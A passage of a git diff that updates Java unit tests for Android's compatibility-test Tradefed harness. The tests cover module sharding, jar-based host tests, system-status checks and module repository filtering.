+            public boolean postExecutionCheck(ITestDevice device) {
+                // fails
+                return false;
+            }
+        });
+        InputStreamSource res = new ByteArrayInputStreamSource("fake bugreport".getBytes());
+        EasyMock.expect(mMockDevice.getBugreport()).andReturn(res);
+        mMockLogger.testLog(EasyMock.eq("bugreport-checker-post-module-FAKE_MODULE"),
+                EasyMock.eq(LogDataType.BUGREPORT),
+                EasyMock.same(res));
+        EasyMock.replay(mMockDevice, mMockLogger);
+        mTest.runPostModuleCheck("FAKE_MODULE", systemCheckers, mMockDevice, mMockLogger);
+        EasyMock.verify(mMockDevice, mMockLogger);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#run(ITestInvocationListener)} returns with no further
+     * execution when there is no module to run.
+     */
+    public void testRun_noModules() throws Exception {
+        mTest = new CompatibilityTest(1, new ModuleRepo() {
+            @Override
+            public boolean isInitialized() {
+                return true;
+            }
+            @Override
+            public LinkedList<IModuleDef> getModules(String serial, int shardIndex) {
+                return new LinkedList<IModuleDef>();
+            }
+        }, 0);
+        mTest.setDevice(mMockDevice);
+        EasyMock.expect(mMockDevice.getSerialNumber()).andReturn("FAKE_SERIAL").times(2);
+        EasyMock.replay(mMockDevice, mMockListener);
+        mTest.run(mMockListener);
+        EasyMock.verify(mMockDevice, mMockListener);
+    }
+
+    /**
+     * Test {@link CompatibilityTest#checkSystemStatusBlackAndWhiteList()} correctly throws
+     * if a system status is invalid.
+     */
+    public void testCheckSystemStatus_throw() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("system-status-check-whitelist", "com.does.not.exit");
+        try {
+            mTest.checkSystemStatusBlackAndWhiteList();
+            fail("should have thrown an exception");
+        } catch (RuntimeException expected) {
+            // expected.
+        }
+    }
+
+    /**
+     * Test {@link CompatibilityTest#checkSystemStatusBlackAndWhiteList()} does not throw
+     * if a system status is valid.
+     */
+    public void testCheckSystemStatus_pass() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("skip-system-status-check",
+                "com.android.tradefed.suite.checker.KeyguardStatusChecker");
+        mTest.checkSystemStatusBlackAndWhiteList();
+    }
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
new file mode 100644
index 0000000..e7221e7
--- /dev/null
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/JarHostTestTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.tradefed.testtype;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.build.BuildInfo;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.OptionSetter;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.HostTest;
+import com.android.tradefed.testtype.IRemoteTest;
+import com.android.tradefed.util.FileUtil;
+
+import junit.framework.TestCase;
+
+import org.easymock.EasyMock;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URL;
+import java.net.URLClassLoader;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Unit tests for {@link JarHostTest}.
+ */
+public class JarHostTestTest extends TestCase {
+
+    private static final String TEST_JAR1 = "/testtype/testJar1.jar";
+    private static final String TEST_JAR2 = "/testtype/testJar2.jar";
+    private JarHostTest mTest;
+    private File mTestDir = null;
+
+    /**
+     * More testable version of {@link JarHostTest}
+     */
+    public static class JarHostTestable extends JarHostTest {
+
+        public static File mTestDir;
+        public JarHostTestable() {}
+
+        public JarHostTestable(File testDir) {
+            mTestDir = testDir;
+        }
+
+        @Override
+        CompatibilityBuildHelper createBuildHelper(IBuildInfo info) {
+            return new CompatibilityBuildHelper(info) {
+                @Override
+                public File getTestsDir() throws FileNotFoundException {
+                    return mTestDir;
+                }
+            };
+        }
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mTest = new JarHostTest();
+        mTestDir = FileUtil.createTempDir("jarhostest");
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected void tearDown() throws Exception {
+        FileUtil.recursiveDelete(mTestDir);
+        super.tearDown();
+    }
+
+    /**
+     * Helper to read a file from the res/testtype directory and return it.
+     *
+     * @param filename the name of the file in the res/testtype directory
+     * @param parentDir dir where to put the jar. Null if in default tmp directory.
+     * @return the extracted jar file.
+     */
+    protected File getJarResource(String filename, File parentDir) throws IOException {
+        InputStream jarFileStream = getClass().getResourceAsStream(filename);
+        File jarFile = FileUtil.createTempFile("test", ".jar", parentDir);
+        FileUtil.writeToFile(jarFileStream, jarFile);
+        return jarFile;
+    }
+
+    /**
+     * Test class, we have to annotate with full org.junit.Test to avoid name collision in import.
+     */
+    @RunWith(JUnit4.class)
+    public static class Junit4TestClass  {
+        public Junit4TestClass() {}
+        @org.junit.Test
+        public void testPass1() {}
+    }
+
+    /**
+     * Test class, we have to annotate with full org.junit.Test to avoid name collision in import.
+     */
+    @RunWith(JUnit4.class)
+    public static class Junit4TestClass2  {
+        public Junit4TestClass2() {}
+        @org.junit.Test
+        public void testPass2() {}
+    }
+
+    /**
+     * Test that {@link JarHostTest#split()} inherited from {@link HostTest} is still good.
+     */
+    public void testSplit_withoutJar() throws Exception {
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
+                + "JarHostTestTest$Junit4TestClass");
+        setter.setOptionValue("class", "com.android.compatibility.common.tradefed.testtype."
+                + "JarHostTestTest$Junit4TestClass2");
+        List<IRemoteTest> res = (List<IRemoteTest>)mTest.split();
+        assertEquals(2, res.size());
+        assertTrue(res.get(0) instanceof JarHostTest);
+        assertTrue(res.get(1) instanceof JarHostTest);
+    }
+
+    /**
+     * Test that {@link JarHostTest#split()} can split classes coming from a jar.
+     */
+    public void testSplit_withJar() throws Exception {
+        File testJar = getJarResource(TEST_JAR1, mTestDir);
+        mTest = new JarHostTestable(mTestDir);
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("jar", testJar.getName());
+        List<IRemoteTest> res = (List<IRemoteTest>)mTest.split();
+        assertEquals(2, res.size());
+        assertTrue(res.get(0) instanceof JarHostTest);
+        assertEquals("[android.ui.cts.TaskSwitchingTest]",
+                ((JarHostTest)res.get(0)).getClassNames().toString());
+        assertTrue(res.get(1) instanceof JarHostTest);
+        assertEquals("[android.ui.cts.InstallTimeTest]",
+                ((JarHostTest)res.get(1)).getClassNames().toString());
+    }
+
+    /**
+     * Test that {@link JarHostTest#getTestShard(int, int)} can split classes coming from a jar.
+     */
+    public void testGetTestShard_withJar() throws Exception {
+        File testJar = getJarResource(TEST_JAR2, mTestDir);
+        mTest = new JarHostTestLoader(mTestDir, testJar);
+        mTest.setBuild(new BuildInfo());
+        ITestDevice device = EasyMock.createNiceMock(ITestDevice.class);
+        mTest.setDevice(device);
+        OptionSetter setter = new OptionSetter(mTest);
+        setter.setOptionValue("jar", testJar.getName());
+        // full class count without sharding
+        assertEquals(238, mTest.countTestCases());
+
+        // only one shard
+        IRemoteTest oneShard = mTest.getTestShard(1, 0);
+        assertTrue(oneShard instanceof JarHostTest);
+        ((JarHostTest)oneShard).setBuild(new BuildInfo());
+        ((JarHostTest)oneShard).setDevice(device);
+        assertEquals(238, ((JarHostTest)oneShard).countTestCases());
+
+        // 5 shards total the number of tests.
+        int total = 0;
+        IRemoteTest shard1 = mTest.getTestShard(5, 0);
+        assertTrue(shard1 instanceof JarHostTest);
+        ((JarHostTest)shard1).setBuild(new BuildInfo());
+        ((JarHostTest)shard1).setDevice(device);
+        assertEquals(58, ((JarHostTest)shard1).countTestCases());
+        total += ((JarHostTest)shard1).countTestCases();
+
+        IRemoteTest shard2 = mTest.getTestShard(5, 1);
+        assertTrue(shard2 instanceof JarHostTest);
+        ((JarHostTest)shard2).setBuild(new BuildInfo());
+        ((JarHostTest)shard2).setDevice(device);
+        assertEquals(60, ((JarHostTest)shard2).countTestCases());
+        total += ((JarHostTest)shard2).countTestCases();
+
+        IRemoteTest shard3 = mTest.getTestShard(5, 2);
+        assertTrue(shard3 instanceof JarHostTest);
+        ((JarHostTest)shard3).setBuild(new BuildInfo());
+        ((JarHostTest)shard3).setDevice(device);
+        assertEquals(60, ((JarHostTest)shard3).countTestCases());
+        total += ((JarHostTest)shard3).countTestCases();
+
+        IRemoteTest shard4 = mTest.getTestShard(5, 3);
+        assertTrue(shard4 instanceof JarHostTest);
+        ((JarHostTest)shard4).setBuild(new BuildInfo());
+        ((JarHostTest)shard4).setDevice(device);
+        assertEquals(30, ((JarHostTest)shard4).countTestCases());
+        total += ((JarHostTest)shard4).countTestCases();
+
+        IRemoteTest shard5 = mTest.getTestShard(5, 4);
+        assertTrue(shard5 instanceof JarHostTest);
+        ((JarHostTest)shard5).setBuild(new BuildInfo());
+        ((JarHostTest)shard5).setDevice(device);
+        assertEquals(30, ((JarHostTest)shard5).countTestCases());
+        total += ((JarHostTest)shard5).countTestCases();
+
+        assertEquals(238, total);
+    }
+
+    /**
+     * Testable version of {@link JarHostTest} that allows adding jar to classpath for testing
+     * purpose.
+     */
+    public static class JarHostTestLoader extends JarHostTestable {
+
+        private static File mTestJar;
+
+        public JarHostTestLoader() {}
+
+        public JarHostTestLoader(File testDir, File jar) {
+            super(testDir);
+            mTestJar = jar;
+        }
+
+        @Override
+        CompatibilityBuildHelper createBuildHelper(IBuildInfo info) {
+            return new CompatibilityBuildHelper(info) {
+                @Override
+                public File getTestsDir() throws FileNotFoundException {
+                    return mTestDir;
+                }
+            };
+        }
+        @Override
+        protected ClassLoader getClassLoader() {
+            ClassLoader child = super.getClassLoader();
+            try {
+                child = new URLClassLoader(Arrays.asList(mTestJar.toURI().toURL())
+                        .toArray(new URL[]{}), super.getClassLoader());
+            } catch (MalformedURLException e) {
+                CLog.e(e);
+            }
+            return child;
+        }
+    }
+}
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
index 019557e..0612e6e 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleDefTest.java
@@ -16,17 +16,18 @@
 
 package com.android.compatibility.common.tradefed.testtype;
 
-import com.android.compatibility.common.tradefed.util.NoOpTestInvocationListener;
-import com.android.compatibility.common.util.AbiUtils;
+import com.android.tradefed.config.ConfigurationDescriptor;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IRuntimeHintProvider;
 import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
 
 import org.easymock.EasyMock;
 
@@ -42,14 +43,12 @@
     private static final String NAME = "ModuleName";
     private static final String ABI = "mips64";
     private static final String ID = AbiUtils.createId(ABI, NAME);
-    private static final String CLASS = "android.test.FoorBar";
-    private static final String METHOD_1 = "testBlah1";
-    private static final String TEST_1 = String.format("%s#%s", CLASS, METHOD_1);
 
     public void testAccessors() throws Exception {
         IAbi abi = new Abi(ABI, "");
         MockRemoteTest mockTest = new MockRemoteTest();
-        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>(),
+                new ConfigurationDescriptor());
         assertEquals("Incorrect ID", ID, def.getId());
         assertEquals("Incorrect ABI", ABI, def.getAbi().getName());
         assertEquals("Incorrect Name", NAME, def.getName());
@@ -58,7 +57,8 @@
     public void testModuleFinisher() throws Exception {
         IAbi abi = new Abi(ABI, "");
         MockRemoteTest mockTest = new MockRemoteTest();
-        IModuleDef def = new ModuleDef(NAME, abi, mockTest, new ArrayList<ITargetPreparer>());
+        IModuleDef def = new ModuleDef(NAME, abi, mockTest,
+                new ArrayList<ITargetPreparer>(), new ConfigurationDescriptor());
         ITestInvocationListener mockListener = EasyMock.createMock(ITestInvocationListener.class);
         // listener should receive testRunStarted/testRunEnded events even for no-op run() method
         mockListener.testRunStarted(ID, 0);
@@ -107,6 +107,11 @@
         }
 
         @Override
+        public IAbi getAbi() {
+            return null;
+        }
+
+        @Override
         public long getRuntimeHint() {
             return 1L;
         }
@@ -116,6 +121,4 @@
             // Do nothing
         }
     }
-
-    private class MockListener extends NoOpTestInvocationListener {}
 }
diff --git a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
index a0f248f..8beb9a7 100644
--- a/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
+++ b/common/host-side/tradefed/tests/src/com/android/compatibility/common/tradefed/testtype/ModuleRepoTest.java
@@ -17,28 +17,45 @@
 package com.android.compatibility.common.tradefed.testtype;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildProvider;
 import com.android.compatibility.common.tradefed.testtype.ModuleRepo.ConfigFilter;
-import com.android.compatibility.common.tradefed.testtype.IModuleDef;
-import com.android.compatibility.common.util.AbiUtils;
 import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.config.Configuration;
+import com.android.tradefed.config.ConfigurationDescriptor;
+import com.android.tradefed.config.IConfiguration;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.result.ITestInvocationListener;
+import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
-import com.android.tradefed.testtype.IShardableTest;
+import com.android.tradefed.testtype.IRuntimeHintProvider;
+import com.android.tradefed.testtype.IStrictShardableTest;
+import com.android.tradefed.testtype.ITestCollector;
+import com.android.tradefed.testtype.ITestFilterReceiver;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.FileUtil;
+import com.android.tradefed.util.MultiMap;
 
 import junit.framework.TestCase;
 
+import org.easymock.EasyMock;
+
 import java.io.File;
 import java.io.IOException;
-import java.util.Arrays;
 import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
-import java.util.concurrent.TimeUnit;
 
+/**
+ * Unit Tests for {@link ModuleRepo}
+ */
 public class ModuleRepoTest extends TestCase {
 
     private static final String TOKEN =
@@ -57,12 +74,14 @@
     private static final String SERIAL2 = "def";
     private static final String SERIAL3 = "ghi";
     private static final Set<String> SERIALS = new HashSet<>();
-    private static final Set<IAbi> ABIS = new HashSet<>();
+    private static final Set<IAbi> ABIS = new LinkedHashSet<>();
     private static final List<String> DEVICE_TOKENS = new ArrayList<>();
     private static final List<String> TEST_ARGS= new ArrayList<>();
     private static final List<String> MODULE_ARGS = new ArrayList<>();
     private static final Set<String> INCLUDES = new HashSet<>();
     private static final Set<String> EXCLUDES = new HashSet<>();
+    private static final MultiMap<String, String> METADATA_INCLUDES = new MultiMap<>();
+    private static final MultiMap<String, String> METADATA_EXCLUDES = new MultiMap<>();
     private static final Set<String> FILES = new HashSet<>();
     private static final String FILENAME = "%s.config";
     private static final String ROOT_DIR_ATTR = "ROOT_DIR";
@@ -73,6 +92,7 @@
     private static final String MODULE_NAME_A = "FooModuleA";
     private static final String MODULE_NAME_B = "FooModuleB";
     private static final String MODULE_NAME_C = "FooModuleC";
+    private static final String NON_EXISTS_MODULE_NAME = "NonExistModule";
     private static final String ID_A_32 = AbiUtils.createId(ABI_32, MODULE_NAME_A);
     private static final String ID_A_64 = AbiUtils.createId(ABI_64, MODULE_NAME_A);
     private static final String ID_B_32 = AbiUtils.createId(ABI_32, MODULE_NAME_B);
@@ -107,29 +127,33 @@
         FILES.add(String.format(FILENAME, MODULE_NAME_B));
         FILES.add(String.format(FILENAME, MODULE_NAME_C));
     }
-    private IModuleRepo mRepo;
+    private ModuleRepo mRepo;
     private File mTestsDir;
     private File mRootDir;
-    private IBuildInfo mBuild;
+    private IBuildInfo mMockBuildInfo;
 
     @Override
     public void setUp() throws Exception {
         mTestsDir = setUpConfigs();
         mRepo = new ModuleRepo();
-        mBuild = new CompatibilityBuildProvider().getBuild();
+        mMockBuildInfo = EasyMock.createMock(IBuildInfo.class);
         // Flesh out the result directory structure so ModuleRepo can write to the test runs file
         mRootDir = FileUtil.createTempDir("root");
-        mBuild.addBuildAttribute(ROOT_DIR_ATTR, mRootDir.getAbsolutePath());
-        mBuild.addBuildAttribute(SUITE_NAME_ATTR, "suite");
-        mBuild.addBuildAttribute(START_TIME_MS_ATTR, Long.toString(0));
         File subRootDir = new File(mRootDir, String.format("android-suite"));
         File resultsDir = new File(subRootDir, "results");
         File resultDir = new File(resultsDir, CompatibilityBuildHelper.getDirSuffix(0));
         resultDir.mkdirs();
+
+        Map<String, String> mockBuildInfoMap = new HashMap<String, String>();
+        mockBuildInfoMap.put(ROOT_DIR_ATTR, mRootDir.getAbsolutePath());
+        mockBuildInfoMap.put(SUITE_NAME_ATTR, "suite");
+        mockBuildInfoMap.put(START_TIME_MS_ATTR, Long.toString(0));
+        EasyMock.expect(mMockBuildInfo.getBuildAttributes()).andReturn(mockBuildInfoMap).anyTimes();
+        EasyMock.replay(mMockBuildInfo);
     }
 
     private File setUpConfigs() throws IOException {
-        File testsDir = FileUtil.createNamedTempDir("testcases");
+        File testsDir = FileUtil.createTempDir("testcases");
         createConfig(testsDir, MODULE_NAME_A, null);
         createConfig(testsDir, MODULE_NAME_B, null);
         createConfig(testsDir, MODULE_NAME_C, FOOBAR_TOKEN);
@@ -140,8 +164,12 @@
         createConfig(testsDir, name, token, TEST_STUB);
     }
 
-    private void createConfig(File testsDir, String name, String token, String moduleClass) throws IOException {
+    private void createConfig(File testsDir, String name, String token, String moduleClass)
+            throws IOException {
         File config = new File(testsDir, String.format(FILENAME, name));
+        if (!config.createNewFile()) {
+            throw new IOException(String.format("Failed to create '%s'", config.getAbsolutePath()));
+        }
         String preparer = "";
         if (token != null) {
             preparer = String.format(TOKEN, token);
@@ -151,6 +179,7 @@
 
     @Override
     public void tearDown() throws Exception {
+        FileUtil.recursiveDelete(mTestsDir);
         tearDownConfigs(mTestsDir);
         tearDownConfigs(mRootDir);
     }
@@ -160,34 +189,124 @@
     }
 
     public void testInitialization() throws Exception {
-        mRepo.initialize(3, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
-                EXCLUDES, mBuild);
+        mRepo.initialize(3, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
+                EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
         assertTrue("Should be initialized", mRepo.isInitialized());
         assertEquals("Wrong number of shards", 3, mRepo.getNumberOfShards());
-        assertEquals("Wrong number of modules per shard", 2, mRepo.getModulesPerShard());
         Map<String, Set<String>> deviceTokens = mRepo.getDeviceTokens();
         assertEquals("Wrong number of devices with tokens", 1, deviceTokens.size());
         Set<String> tokens = deviceTokens.get(SERIAL3);
         assertEquals("Wrong number of tokens", 1, tokens.size());
         assertTrue("Unexpected device token", tokens.contains(FOOBAR_TOKEN));
-        assertEquals("Wrong number of modules", 0, mRepo.getLargeModules().size());
-        assertEquals("Wrong number of modules", 0, mRepo.getMediumModules().size());
-        assertEquals("Wrong number of modules", 4, mRepo.getSmallModules().size());
+        assertEquals("Wrong number of modules", 4, mRepo.getNonTokenModules().size());
         List<IModuleDef> tokenModules = mRepo.getTokenModules();
         assertEquals("Wrong number of modules with tokens", 2, tokenModules.size());
-        List<IModuleDef> serial1Modules = mRepo.getModules(SERIAL1);
-        assertEquals("Wrong number of modules", 2, serial1Modules.size());
-        List<IModuleDef> serial2Modules = mRepo.getModules(SERIAL2);
-        assertEquals("Wrong number of modules", 2, serial2Modules.size());
-        List<IModuleDef> serial3Modules = mRepo.getModules(SERIAL3);
-        assertEquals("Wrong number of modules", 2, serial3Modules.size());
-        // Serial 3 should have the modules with tokens
-        for (IModuleDef module : serial3Modules) {
-            assertEquals("Wrong module", MODULE_NAME_C, module.getName());
-        }
-        Set<String> serials = mRepo.getSerials();
-        assertEquals("Wrong number of serials", 3, serials.size());
-        assertTrue("Unexpected device serial", serials.containsAll(SERIALS));
+    }
+
+    public void testGetModules() throws Exception {
+        mRepo.initialize(1, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
+                EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        assertTrue("Should be initialized", mRepo.isInitialized());
+        assertEquals("Wrong number of tokens", 2, mRepo.getTokenModules().size());
+        assertEquals("Wrong number of tokens", 4, mRepo.getNonTokenModules().size());
+    }
+
+    /**
+     * Test sharding with 2 shards of the 4 non token modules.
+     */
+    public void testGetModulesSharded() throws Exception {
+        mRepo.initialize(2, null, mTestsDir, ABIS, new ArrayList<String>(), TEST_ARGS, MODULE_ARGS,
+                INCLUDES, EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        assertTrue("Should be initialized", mRepo.isInitialized());
+        assertEquals("Wrong number of tokens", 2, mRepo.getTokenModules().size());
+        assertEquals("Wrong number of tokens", 4, mRepo.getNonTokenModules().size());
+        List<IModuleDef> shard1 = mRepo.getModules(SERIAL1, 0);
+        assertEquals(2, shard1.size());
+        assertEquals("armeabi-v7a FooModuleA", shard1.get(0).getId());
+        assertEquals("arm64-v8a FooModuleA", shard1.get(1).getId());
+        List<IModuleDef> shard2 = mRepo.getModules(SERIAL2, 1);
+        // last shard gets the token modules too
+        assertEquals(4, shard2.size());
+        assertEquals("armeabi-v7a FooModuleB", shard2.get(0).getId());
+        assertEquals("arm64-v8a FooModuleB", shard2.get(1).getId());
+    }
+
+    /**
+     * Test running with only token modules.
+     */
+    public void testGetModules_onlyTokenModules() throws Exception {
+        Set<String> includes = new HashSet<>();
+        includes.add(MODULE_NAME_C);
+        mRepo.initialize(1, null, mTestsDir, ABIS, new ArrayList<String>(), TEST_ARGS, MODULE_ARGS,
+                includes, EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        assertTrue("Should be initialized", mRepo.isInitialized());
+        assertEquals("Wrong number of tokens", 2, mRepo.getTokenModules().size());
+        assertEquals("Wrong number of tokens", 0, mRepo.getNonTokenModules().size());
+        List<IModuleDef> modules = mRepo.getModules(SERIAL1, 0);
+        assertNotNull(modules);
+        assertEquals(2, modules.size());
+    }
+
+    /**
+     * Test running with only token modules, with sharded local run, we specify a token module
+     * for each device, tests should go in the right place.
+     */
+    public void testGetModules_TokenModules_multiDevices() throws Exception {
+        createConfig(mTestsDir, "FooModuleD", "foobar2");
+        Set<String> includes = new HashSet<>();
+        includes.add(MODULE_NAME_C);
+        includes.add("FooModuleD");
+        List<String> tokens = new ArrayList<>();
+        tokens.add(String.format("%s:%s", SERIAL1, FOOBAR_TOKEN));
+        tokens.add(String.format("%s:%s", SERIAL2, "foobar2"));
+        mRepo.initialize(2, null, mTestsDir, ABIS, tokens, TEST_ARGS, MODULE_ARGS,
+                includes, EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        assertTrue("Should be initialized", mRepo.isInitialized());
+        assertEquals("Wrong number of tokens", 4, mRepo.getTokenModules().size());
+        assertEquals("Wrong number of tokens", 0, mRepo.getNonTokenModules().size());
+        List<IModuleDef> modules1 = mRepo.getModules(SERIAL1, 0);
+        assertNotNull(modules1);
+        assertEquals(2, modules1.size());
+        // Only module C tokens with serial 1.
+        assertTrue(modules1.get(0).getId().contains(MODULE_NAME_C));
+        assertTrue(modules1.get(1).getId().contains(MODULE_NAME_C));
+        List<IModuleDef> modules2 = mRepo.getModules(SERIAL2, 1);
+        assertNotNull(modules2);
+        assertEquals(2, modules2.size());
+        assertTrue(modules2.get(0).getId().contains("FooModuleD"));
+        assertTrue(modules2.get(1).getId().contains("FooModuleD"));
+    }
+
+    /**
+     * Test sharding with 4 shards of the 6 non token modules + 2 token modules.
+     */
+    public void testGetModulesSharded_uneven() throws Exception {
+        createConfig(mTestsDir, "FooModuleD", null);
+        mRepo.initialize(4, null, mTestsDir, ABIS, new ArrayList<String>(), TEST_ARGS, MODULE_ARGS,
+                INCLUDES, EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        assertTrue("Should be initialized", mRepo.isInitialized());
+        assertEquals("Wrong number of tokens", 2, mRepo.getTokenModules().size());
+        assertEquals("Wrong number of tokens", 6, mRepo.getNonTokenModules().size());
+
+        List<IModuleDef> shard1 = mRepo.getModules(SERIAL1, 0);
+        assertEquals(1, shard1.size());
+        assertEquals("armeabi-v7a FooModuleA", shard1.get(0).getId());
+
+        List<IModuleDef> shard2 = mRepo.getModules(SERIAL2, 1);
+        assertEquals(1, shard2.size());
+        assertEquals("arm64-v8a FooModuleA", shard2.get(0).getId());
+
+        List<IModuleDef> shard3 = mRepo.getModules(SERIAL3, 2);
+        assertEquals(2, shard3.size());
+        assertEquals("armeabi-v7a FooModuleB", shard3.get(0).getId());
+        assertEquals("arm64-v8a FooModuleB", shard3.get(1).getId());
+
+        List<IModuleDef> shard4 = mRepo.getModules(SERIAL2, 3);
+        assertEquals(4, shard4.size());
+        assertEquals("armeabi-v7a FooModuleC", shard4.get(0).getId());
+        assertEquals("arm64-v8a FooModuleC", shard4.get(1).getId());
+        assertEquals("armeabi-v7a FooModuleD", shard4.get(2).getId());
+        assertEquals("arm64-v8a FooModuleD", shard4.get(3).getId());
     }
 
     public void testConfigFilter() throws Exception {
@@ -205,19 +324,52 @@
         Set<String> excludeFilters = new HashSet<>();
         excludeFilters.add(ID_A_32);
         excludeFilters.add(MODULE_NAME_B);
-        mRepo.initialize(1, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, includeFilters,
-                excludeFilters, mBuild);
-        List<IModuleDef> modules = mRepo.getModules(SERIAL1);
+        mRepo.initialize(1, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS,
+                includeFilters, excludeFilters, METADATA_INCLUDES, METADATA_EXCLUDES,
+                mMockBuildInfo);
+        List<IModuleDef> modules = mRepo.getModules(SERIAL1, 0);
         assertEquals("Incorrect number of modules", 1, modules.size());
         IModuleDef module = modules.get(0);
         assertEquals("Incorrect ID", ID_A_64, module.getId());
         checkArgs(module);
     }
 
+    /**
+     * Test that excluded module shouldn't be loaded.
+     */
+    public void testInitialization_ExcludeModule_SkipLoadingConfig() {
+        try {
+            Set<String> excludeFilters = new HashSet<String>();
+            excludeFilters.add(NON_EXISTS_MODULE_NAME);
+            mRepo.initialize(1, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS,
+                    MODULE_ARGS, Collections.emptySet(), excludeFilters,
+                    METADATA_INCLUDES, METADATA_EXCLUDES,
+                    mMockBuildInfo);
+        } catch (Exception e) {
+            fail("Initialization should not fail if non-existing module is excluded");
+        }
+    }
+
+    /**
+     * Test that {@link ModuleRepo#getModules(String, int)} handles well all module being filtered.
+     */
+    public void testFiltering_empty() throws Exception {
+        Set<String> includeFilters = new HashSet<>();
+        Set<String> excludeFilters = new HashSet<>();
+        excludeFilters.add(MODULE_NAME_A);
+        excludeFilters.add(MODULE_NAME_B);
+        excludeFilters.add(MODULE_NAME_C);
+        mRepo.initialize(1, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS,
+                includeFilters, excludeFilters,
+                METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        List<IModuleDef> modules = mRepo.getModules(SERIAL1, 0);
+        assertEquals("Incorrect number of modules", 0, modules.size());
+    }
+
     public void testParsing() throws Exception {
-        mRepo.initialize(1, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
-                EXCLUDES, mBuild);
-        List<IModuleDef> modules = mRepo.getModules(SERIAL3);
+        mRepo.initialize(1, null, mTestsDir, ABIS, DEVICE_TOKENS, TEST_ARGS, MODULE_ARGS, INCLUDES,
+                EXCLUDES, METADATA_INCLUDES, METADATA_EXCLUDES, mMockBuildInfo);
+        List<IModuleDef> modules = mRepo.getModules(SERIAL3, 0);
